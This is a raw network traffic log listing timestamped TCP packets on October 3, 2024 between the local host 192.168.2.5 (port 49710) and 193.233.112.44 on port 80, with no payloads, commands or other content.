Oct 3, 2024 23:17:08.303706884 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.303728104 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.303736925 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.303762913 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.303776979 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.303797007 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.303811073 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.303833008 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.303845882 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.303867102 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.303875923 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.303904057 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.303915024 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.303950071 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.304150105 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.304183006 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.304203987 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.304217100 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.304224968 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.304251909 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.304261923 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.304286957 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.304296017 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.304323912 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.304335117 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.304358959 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.304369926 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.304394007 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.304404974 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.304440022 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.321774006 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.321841955 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.321912050 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.321949959 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.321962118 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.321994066 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.322007895 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.322043896 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.322055101 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.322079897 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.322091103 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.322119951 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.322127104 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.322155952 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.322166920 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.322191954 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.322201014 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.322227955 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.322237968 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.322263002 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.322273970 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.322299004 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.322309971 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.322334051 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.322339058 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.322370052 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.322381020 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.322406054 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.322416067 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.322441101 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.322452068 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.322479010 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.322485924 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.322529078 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.322717905 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.322752953 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.322767019 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.322787046 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.322796106 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.322822094 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.322828054 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.322859049 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.322865963 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.322892904 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.322904110 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.322938919 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.322971106 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.323005915 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.323018074 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.323040962 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.323043108 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.323075056 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.323084116 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.323115110 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.323122025 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.323158979 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.336505890 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.336572886 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.336601019 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.336649895 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.336657047 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.336695910 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.336704016 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.336731911 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.336743116 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.336767912 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.336777925 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.336816072 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.336822033 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.336858034 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.336873055 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.336891890 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.336900949 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.336927891 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.336932898 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.336962938 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.336973906 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.336999893 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.337009907 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.337044954 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.337086916 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.337137938 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.337217093 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.337250948 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.337270021 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.337285995 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.337291002 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.337320089 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.337331057 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.337357044 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.337363958 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.337388039 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.337405920 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.337424040 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.337434053 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.337460995 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.337475061 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.337496042 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.337502003 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.337531090 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.337538958 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.337580919 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.337630033 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.337663889 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.337682009 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.337697029 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.337706089 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.337733030 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.337743044 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.337769985 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.337781906 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.337805986 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.337816000 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.337845087 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.337852955 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.337873936 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.337891102 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.337912083 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.337917089 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.337941885 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.337961912 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.337975979 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.369913101 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.370007038 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.370033026 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.370084047 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.370090961 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.370127916 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.370140076 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.370174885 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.370182991 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.370218992 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.370234013 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.370253086 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.370259047 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.370286942 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.370294094 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.370321989 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.370332003 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.370357990 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.370367050 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.370389938 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.370400906 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.370430946 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.370445013 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.370481968 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.370491982 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.370512962 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.370527029 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.370553017 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.370563030 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.370587111 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.370587111 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.370623112 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.370635033 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.370660067 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.370671034 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.370704889 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.370826006 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.370861053 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.370877028 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.370893955 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.370899916 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.370925903 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.370934963 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.370961905 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.370973110 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.370996952 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.371006012 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.371032000 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.371043921 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.371068001 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.371084929 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.371105909 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.371114016 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.371148109 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.371332884 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.371366024 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.371388912 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.371407986 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.371431112 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.371465921 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.371480942 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.371499062 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.371514082 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.371546984 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.393472910 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.393532991 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.393548965 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.393567085 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.393587112 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.393603086 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.393621922 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.393636942 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.393646002 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.393685102 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.393734932 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.393768072 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.393783092 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.393801928 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.393815041 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.393836021 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.393848896 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.393873930 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.393884897 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.393903971 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.393914938 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.393944979 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.393994093 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.394022942 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.394037008 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.394057035 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.394062996 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.394094944 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.394100904 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.394129038 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.394135952 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.394166946 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.394176006 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.394215107 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.394237041 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.394284964 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.394403934 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.394435883 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.394455910 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.394469976 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.394475937 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.394515038 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.394522905 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.394557953 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.394571066 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.394592047 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.394603968 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.394627094 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.394639015 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.394663095 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.394666910 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.394710064 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.394790888 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.394824982 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.394845963 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.394859076 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.394864082 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.394893885 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.394907951 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.394932985 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.394934893 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.394979000 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.412370920 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.412441015 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.412446976 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.412496090 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.412501097 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.412537098 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.412545919 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.412573099 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.412583113 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.412607908 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.412621021 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.412656069 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.412662983 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.412698030 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.412708044 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.412731886 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.412744999 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.412770033 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.412781000 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.412805080 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.412812948 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.412841082 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.412847042 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.412878036 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.412888050 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.412913084 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.412924051 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.412947893 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.412957907 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.412983894 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.412995100 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.413024902 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.413038015 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.413072109 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.413086891 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.413108110 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.413116932 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.413144112 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.413155079 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.413184881 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.413194895 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.413220882 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.413227081 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.413254976 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.413269043 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.413290024 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.413300991 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.413325071 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.413336039 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.413361073 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.413372040 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.413395882 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.413403034 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.413438082 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.413450956 CEST	80	49710	193.233.112.44	192.168.2.5
